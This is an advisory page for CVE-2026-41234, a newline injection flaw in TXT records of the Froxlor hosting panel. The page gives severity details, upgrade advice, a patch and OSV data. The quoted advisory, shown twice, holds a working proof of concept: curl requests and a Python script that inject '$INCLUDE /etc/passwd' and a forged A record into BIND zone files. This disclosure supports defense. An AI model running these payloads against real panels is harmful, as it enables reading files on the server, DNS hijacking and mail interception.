CVE-2026-41234: Froxlor BIND Zone File Injection Vulnerability

HIGH
Advisory Identifier: GHSA-37m5-m4q3-fc6x
CVSS 7.6
CWE-74
Published
Advisory Summary

CVE-2026-41234 is a HIGH (CVSS 7.6) bind zone file injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Froxlor libraries in the Packagist ecosystem. The issue involves bind zone file injection via txt record content. Remediation is available by upgrading affected packages to version 2.3.7.

CVE-2026-41234 at a Glance

CVE Identifier CVE-2026-41234
GHSA Identifier GHSA-37m5-m4q3-fc6x
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-41234

To remediate this vulnerability, upgrade all affected Froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.7
Upgrade froxlor/froxlor to 2.3.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41234, inspect your project dependencies for Froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `DomainZones.add` API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives (`$INCLUDE`, `$GENERATE`) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron. This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records. ## Affected Code `lib/Froxlor/Api/Commands/DomainZones.php`, lines 306-308: ```php } elseif ($type == 'TXT' && !empty($content)) { // check that TXT content is enclosed in " " $content = Dns::encloseTXTContent($content); } ``` `Dns::encloseTXTContent()` (`lib/Froxlor/Dns/Dns.php:571-592`) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters. Line 148 of `DomainZones.php` still contains: ```php // TODO regex validate content for invalid characters ``` The content flows to the zone file via `DnsEntry::__toString()` (`lib/Froxlor/Dns/DnsEntry.php:83`), which concatenates `$this->content` directly into the zone line followed by `PHP_EOL`. Embedded newlines in the content produce additional lines in the zone file output. ### Comparison with CVE-2026-30932 fix The v2.3.5 fix for CVE-2026-30932 added validation functions for these types: | Type | Validation Added | Still Vulnerable? | |------|-----------------|-------------------| | LOC | `Validate::validateDnsLoc()` (strict regex) | No | | RP | `Validate::validateDnsRp()` (domain validation) | No | | SSHFP | `Validate::validateDnsSshfp()` (3-part split) | No | | TLSA | `Validate::validateDnsTlsa()` (4-part split) | No | | **TXT** | **`Dns::encloseTXTContent()` (quotes only)** | **Yes** | ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`) - Customer with `dnsenabled=1`, domain with `isbinddomain=1` - Customer has an API key (or uses the web UI DNS editor with Burp) ### Reproduction via API ```bash # Inject $INCLUDE directive to read /etc/passwd curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "@", "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd", "ttl": 18000 } }' \ https://panel.example.com/api.php ``` ### Reproduction via Web UI (Burp) 1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the `dns_content` parameter to: `v=spf1 +all"%0a$INCLUDE /etc/passwd` (`%0a` is URL-encoded newline) 6. Forward the request ### Result The API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive: ``` $TTL 604800 $ORIGIN testdomain.lab. @ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ... @ 18000 IN TXT "v=spf1 +all" $INCLUDE /etc/passwd" @ 604800 IN A 100.95.188.127 * 604800 IN A 100.95.188.127 ``` When the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`. ### Variant: Arbitrary DNS record injection The same technique injects arbitrary A/MX/CNAME records: ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "_spf", "content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6", "ttl": 18000 } }' \ https://panel.example.com/api.php ``` Result: ``` _spf 18000 IN TXT "v=spf1 +all" evil 18000 IN A 6.6.6.6 ``` `evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`. ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix""" import json, sys, requests, urllib3 urllib3.disable_warnings() def api(target, key, secret, cmd, params=None): return requests.post(f"{target.rstrip('/')}/api.php", auth=(key, secret), json={"command": cmd, "params": params or {}}, verify=False).json() target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] # Inject $INCLUDE r = api(target, key, secret, "DomainZones.add", { "domainname": domain, "type": "TXT", "record": "@", "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000}) for line in r.get("data", []): tag = " <-- INJECTED" if "$INCLUDE" in str(line) else "" if line: print(f" {line}{tag}") print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld` ## Impact 1. **Information Disclosure**: `$INCLUDE` directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via `DomainZones.listing` or DNS queries to records created from parsed file lines. 2. **DNS Record Injection**: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection. 3. **DNS Service Disruption**: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. `$GENERATE` directives can create massive record sets for amplification. ## Suggested Fix Strip newlines and BIND metacharacters from TXT content. Minimal fix: ```php // lib/Froxlor/Api/Commands/DomainZones.php, around line 306 } elseif ($type == 'TXT' && !empty($content)) { // Strip characters that can break zone file format $content = str_replace(["\n", "\r", "\t"], '', $content); $content = Dns::encloseTXTContent($content); } ``` A more comprehensive fix would add a validation function (similar to `validateDnsLoc`, `validateDnsSshfp`, etc.) that rejects any content containing zone metacharacters (`$`, newlines), and remove the TODO at line 148.

CVE-2026-41234 Affected Froxlor Versions

1 component(s)
Fixed Versions:
2.3.7
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.7
2.3.7

References

Frequently Asked Questions

What is CVE-2026-41234?
CVE-2026-41234 is a security vulnerability in Froxlor involving BIND Zone File Injection via TXT Record Content under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Froxlor versions are affected?
Affected versions include releases prior to 2.3.7 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-41234?
Upgrading to 2.3.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.7. Upgrade your dependency to 2.3.7 or later.
What is the CVSS score of CVE-2026-41234?
CVE-2026-41234 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2026-41234?
CVE-2026-41234 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2026-41234?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-37m5-m4q3-fc6x",
  "modified" : "2026-06-09T11:54:17Z",
  "published" : "2026-06-03T21:02:12Z",
  "aliases" : [ "CVE-2026-41234" ],
  "summary" : "Froxlor: BIND Zone File Injection via TXT Record Content",
  "details" : "## Summary\n\nThe `DomainZones.add` API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives (`$INCLUDE`, `$GENERATE`) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.\n\nThis is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.\n\n## Affected Code\n\n`lib/Froxlor/Api/Commands/DomainZones.php`, lines 306-308:\n\n```php\n} elseif ($type == 'TXT' && !empty($content)) {\n    // check that TXT content is enclosed in \" \"\n    $content = Dns::encloseTXTContent($content);\n}\n```\n\n`Dns::encloseTXTContent()` (`lib/Froxlor/Dns/Dns.php:571-592`) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.\n\nLine 148 of `DomainZones.php` still contains:\n```php\n// TODO regex validate content for invalid characters\n```\n\nThe content flows to the zone file via `DnsEntry::__toString()` (`lib/Froxlor/Dns/DnsEntry.php:83`), which concatenates `$this->content` directly into the zone line followed by `PHP_EOL`. Embedded newlines in the content produce additional lines in the zone file output.\n\n### Comparison with CVE-2026-30932 fix\n\nThe v2.3.5 fix for CVE-2026-30932 added validation functions for these types:\n\n| Type | Validation Added | Still Vulnerable? |\n|------|-----------------|-------------------|\n| LOC | `Validate::validateDnsLoc()` (strict regex) | No |\n| RP | `Validate::validateDnsRp()` (domain validation) | No |\n| SSHFP | `Validate::validateDnsSshfp()` (3-part split) | No |\n| TLSA | `Validate::validateDnsTlsa()` (4-part split) | No |\n| **TXT** | **`Dns::encloseTXTContent()` (quotes only)** | **Yes** |\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`)\n- Customer with `dnsenabled=1`, domain with `isbinddomain=1`\n- Customer has an API key (or uses the web UI DNS editor with Burp)\n\n### Reproduction via API\n\n```bash\n# Inject $INCLUDE directive to read /etc/passwd\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"domainname\": \"testdomain.lab\",\n      \"type\": \"TXT\",\n      \"record\": \"@\",\n      \"content\": \"v=spf1 +all\\\"\\n$INCLUDE /etc/passwd\",\n      \"ttl\": 18000\n    }\n  }' \\\n  https://panel.example.com/api.php\n```\n\n### Reproduction via Web UI (Burp)\n\n1. Log in as a customer with DNS editing enabled\n2. Navigate to Resources > Domains > (domain) > DNS Editor\n3. Add a new record: Type = TXT, Record = @, Content = any\n4. Intercept the POST request in Burp Suite\n5. Change the `dns_content` parameter to: `v=spf1 +all\"%0a$INCLUDE /etc/passwd`\n   (`%0a` is URL-encoded newline)\n6. Forward the request\n\n### Result\n\nThe API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive:\n\n```\n$TTL 604800\n$ORIGIN testdomain.lab.\n@   604800  IN  SOA  froxlor.lab admin.froxlor.lab. 2026041004 ...\n@   18000   IN  TXT  \"v=spf1 +all\"\n$INCLUDE /etc/passwd\"\n@   604800  IN  A    100.95.188.127\n*   604800  IN  A    100.95.188.127\n```\n\nWhen the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`.\n\n### Variant: Arbitrary DNS record injection\n\nThe same technique injects arbitrary A/MX/CNAME records:\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"domainname\": \"testdomain.lab\",\n      \"type\": \"TXT\",\n      \"record\": \"_spf\",\n      \"content\": \"v=spf1 +all\\\"\\nevil\\t18000\\tIN\\tA\\t6.6.6.6\",\n      \"ttl\": 18000\n    }\n  }' \\\n  https://panel.example.com/api.php\n```\n\nResult:\n\n```\n_spf   18000  IN  TXT  \"v=spf1 +all\"\nevil   18000  IN  A    6.6.6.6\n```\n\n`evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`.\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ndef api(target, key, secret, cmd, params=None):\n    return requests.post(f\"{target.rstrip('/')}/api.php\",\n        auth=(key, secret), json={\"command\": cmd, \"params\": params or {}},\n        verify=False).json()\n\ntarget, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n\n# Inject $INCLUDE\nr = api(target, key, secret, \"DomainZones.add\", {\n    \"domainname\": domain, \"type\": \"TXT\", \"record\": \"@\",\n    \"content\": 'v=spf1 +all\"\\n$INCLUDE /etc/passwd', \"ttl\": 18000})\n\nfor line in r.get(\"data\", []):\n    tag = \"   <-- INJECTED\" if \"$INCLUDE\" in str(line) else \"\"\n    if line: print(f\"  {line}{tag}\")\n\nprint(\"\\nCONFIRMED\" if any(\"$INCLUDE\" in str(l) for l in r.get(\"data\",[])) else \"FAILED\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld`\n\n## Impact\n\n1. **Information Disclosure**: `$INCLUDE` directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via `DomainZones.listing` or DNS queries to records created from parsed file lines.\n\n2. **DNS Record Injection**: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.\n\n3. **DNS Service Disruption**: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. `$GENERATE` directives can create massive record sets for amplification.\n\n## Suggested Fix\n\nStrip newlines and BIND metacharacters from TXT content. Minimal fix:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php, around line 306\n} elseif ($type == 'TXT' && !empty($content)) {\n    // Strip characters that can break zone file format\n    $content = str_replace([\"\\n\", \"\\r\", \"\\t\"], '', $content);\n    $content = Dns::encloseTXTContent($content);\n}\n```\n\nA more comprehensive fix would add a validation function (similar to `validateDnsLoc`, `validateDnsSshfp`, etc.) that rejects any content containing zone metacharacters (`$`, newlines), and remove the TODO at line 148.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-37m5-m4q3-fc6x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41234"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-x6w6-2xwp-3jh6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:02:12Z",
    "nvd_published_at" : "2026-06-04T19:16:28Z"
  }
}